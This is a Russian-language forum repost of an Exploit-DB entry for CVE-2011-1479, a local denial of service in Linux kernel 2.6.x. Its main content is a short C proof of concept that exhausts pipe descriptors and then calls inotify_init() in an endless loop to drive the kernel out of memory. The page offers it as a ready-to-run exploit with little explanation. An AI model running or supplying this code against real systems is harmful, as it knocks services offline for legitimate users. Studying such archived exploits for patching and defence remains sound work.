Exploit Linux Kernel 2.6.x - 'inotify_init1()' Double-Free Local Denial of Service

Exploiter

Хакер
34,644
0
18 Дек 2022
EDB-ID
35600
Проверка EDB
  1. Пройдено
Автор
ANONYMOUS
Тип уязвимости
DOS
Платформа
LINUX
CVE
cve-2011-1479
Дата публикации
2011-04-11
C:
/*
source: https://www.securityfocus.com/bid/47296/info

The Linux kernel is prone to a local denial-of-service vulnerability.

Attackers can exploit this issue to cause an out-of-memory condition, denying service to legitimate users. 
*/

#include <sys/inotify.h>
#include <unistd.h>

int main(int argc, char *argv[])
{
        int fds[2];

        /* Circumvent max inotify instances limit */
        while (pipe(fds) != -1)
                ;

        while (1)
                inotify_init();

        return 0;
}
 
Источник
www.exploit-db.com

Похожие темы